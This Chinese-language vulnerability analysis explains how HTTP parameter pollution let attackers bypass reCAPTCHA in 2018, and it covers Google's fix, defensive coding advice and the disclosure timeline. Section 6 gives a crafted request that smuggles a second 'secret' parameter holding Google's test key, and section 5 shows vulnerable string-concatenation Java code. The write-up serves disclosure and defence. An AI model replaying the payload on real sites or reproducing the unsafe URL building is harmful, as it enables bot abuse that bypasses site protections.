利用HTTP参数污染漏洞绕过reCAPTCHA认证
字数 1451 2025-08-29 08:32:18

reCAPTCHA认证绕过漏洞分析与防御指南

1. reCAPTCHA简介

reCAPTCHA是Google提供的一种CAPTCHA服务,帮助网站验证用户是否为真人而非自动化程序。它提供多种验证方式:

  • 基于cookie的用户验证
  • 多重"挑战"验证(如图像识别)
  • 行为分析验证

2. 漏洞背景

2018年1月发现的reCAPTCHA认证绕过漏洞,允许攻击者在特定条件下绕过验证机制。该漏洞需要两个前提条件:

  1. Web应用程序以不安全方式构造提交给/recaptcha/api/siteverify的请求
  2. 存在HTTP参数污染漏洞

3. reCAPTCHA标准工作流程

  1. 用户访问包含reCAPTCHA的网页
  2. Google提供图像集,用户完成验证
  3. 用户点击"Verify"后,浏览器发送请求:
    POST /verify-recaptcha-response HTTP/1.1
    Host: vulnerable-app.com
    recaptcha-response={reCAPTCHA-generated-hash}
    
  4. 服务器向Google API验证响应:
    POST /recaptcha/api/siteverify HTTP/1.1
    Content-Length: 458
    Host: www.google.com
    Content-Type: application/x-www-form-urlencoded
    
    recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}
    
  5. 验证成功返回:
    {
      "success": true,
      "challenge_ts": "2018-01-29T17:58:36Z",
      "hostname": "..."
    }
    

4. HTTP参数污染漏洞

HTTP参数污染(HPP)是指当HTTP请求中包含多个同名参数时,服务器处理方式不一致导致的漏洞。在reCAPTCHA场景中:

  • Google API处理方式:使用第一个secret参数,忽略后续同名参数
  • 漏洞利用点:攻击者可注入额外的secret参数控制验证结果

5. 漏洞利用条件

  1. Web应用程序存在HTTP参数污染漏洞
  2. 应用程序使用字符串连接构造URL(不安全方式)
    private String sendPost(String CaptchaResponse, String Secret) throws Exception {
        String url = "https://www.google.com/recaptcha/api/siteverify"+
                     "?response="+CaptchaResponse+
                     "&secret="+Secret;
        URL obj = new URL(url);
        HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();
        // ...
    }
    
  3. URL构造顺序为response参数在前,secret参数在后

6. 漏洞利用方法

6.1 测试环境禁用reCAPTCHA的默认值

Google文档中提供的测试用值:

  • Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
  • Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

6.2 构造恶意请求

发送以下请求到存在漏洞的Web应用:

POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com

recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

URL解码后实际内容:

recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

6.3 漏洞触发过程

  1. 漏洞应用构造的请求:
    POST /recaptcha/api/siteverify HTTP/1.1
    Host: www.google.com
    Content-Type: application/x-www-form-urlencoded
    
    recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=真实secret
    
  2. Google API只处理第一个secret参数(测试用值)
  3. 返回验证成功响应,绕过实际验证

7. Google的修复方案

Google在API层面修复此漏洞:

  • 当请求包含多个同名参数时,直接返回错误
  • 无需Web应用程序进行修改

8. 防御建议

8.1 对开发人员的建议

  1. 避免使用字符串连接构造URL

    • 使用字典存储键值对
    • 使用标准库进行URL编码

    正确示例(Python):

    import urllib.parse
    
    params = {
        'response': CaptchaResponse,
        'secret': Secret
    }
    encoded_params = urllib.parse.urlencode(params)
    url = "https://www.google.com/recaptcha/api/siteverify?" + encoded_params
    
  2. 使用最新版reCAPTCHA API

8.2 对安全测试人员的建议

  1. 测试所有接收用户输入并构造HTTP请求的功能
  2. 特别关注参数顺序和重复参数的处理
  3. 对reCAPTCHA实现进行专门测试

9. 漏洞影响范围

  • 约60%的reCAPTCHA实现存在HTTP参数污染漏洞
  • 其中约5-10%使用"response在前,secret在后"的顺序
  • 综合影响约3%的使用reCAPTCHA的网站

10. 时间线

  • 2018-01-29: 漏洞报告提交
  • 2018-01-30: Google初步回应
  • 2018-02-01: Google确认漏洞
  • 2018-02-15: 颁发500美元奖金
  • 2018-03-25: Google发布安全补丁

11. 总结

该漏洞展示了:

  1. 即使是Google这样的安全专家也可能在API设计中存在隐患
  2. HTTP参数污染漏洞的实际危害取决于具体上下文
  3. 安全开发实践(如避免字符串连接构造URL)的重要性
  4. 上游修复可以高效解决广泛存在的安全问题
reCAPTCHA认证绕过漏洞分析与防御指南 1. reCAPTCHA简介 reCAPTCHA是Google提供的一种CAPTCHA服务,帮助网站验证用户是否为真人而非自动化程序。它提供多种验证方式: 基于cookie的用户验证 多重"挑战"验证(如图像识别) 行为分析验证 2. 漏洞背景 2018年1月发现的reCAPTCHA认证绕过漏洞,允许攻击者在特定条件下绕过验证机制。该漏洞需要两个前提条件: Web应用程序以不安全方式构造提交给 /recaptcha/api/siteverify 的请求 存在HTTP参数污染漏洞 3. reCAPTCHA标准工作流程 用户访问包含reCAPTCHA的网页 Google提供图像集,用户完成验证 用户点击"Verify"后,浏览器发送请求: 服务器向Google API验证响应: 验证成功返回: 4. HTTP参数污染漏洞 HTTP参数污染(HPP)是指当HTTP请求中包含多个同名参数时,服务器处理方式不一致导致的漏洞。在reCAPTCHA场景中: Google API处理方式:使用第一个 secret 参数,忽略后续同名参数 漏洞利用点:攻击者可注入额外的 secret 参数控制验证结果 5. 漏洞利用条件 Web应用程序存在HTTP参数污染漏洞 应用程序使用字符串连接构造URL(不安全方式) URL构造顺序为 response 参数在前, secret 参数在后 6. 漏洞利用方法 6.1 测试环境禁用reCAPTCHA的默认值 Google文档中提供的测试用值: Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe 6.2 构造恶意请求 发送以下请求到存在漏洞的Web应用: URL解码后实际内容: 6.3 漏洞触发过程 漏洞应用构造的请求: Google API只处理第一个 secret 参数(测试用值) 返回验证成功响应,绕过实际验证 7. Google的修复方案 Google在API层面修复此漏洞: 当请求包含多个同名参数时,直接返回错误 无需Web应用程序进行修改 8. 防御建议 8.1 对开发人员的建议 避免使用字符串连接构造URL 使用字典存储键值对 使用标准库进行URL编码 正确示例(Python): 使用最新版reCAPTCHA API 8.2 对安全测试人员的建议 测试所有接收用户输入并构造HTTP请求的功能 特别关注参数顺序和重复参数的处理 对reCAPTCHA实现进行专门测试 9. 漏洞影响范围 约60%的reCAPTCHA实现存在HTTP参数污染漏洞 其中约5-10%使用"response在前,secret在后"的顺序 综合影响约3%的使用reCAPTCHA的网站 10. 时间线 2018-01-29: 漏洞报告提交 2018-01-30: Google初步回应 2018-02-01: Google确认漏洞 2018-02-15: 颁发500美元奖金 2018-03-25: Google发布安全补丁 11. 总结 该漏洞展示了: 即使是Google这样的安全专家也可能在API设计中存在隐患 HTTP参数污染漏洞的实际危害取决于具体上下文 安全开发实践(如避免字符串连接构造URL)的重要性 上游修复可以高效解决广泛存在的安全问题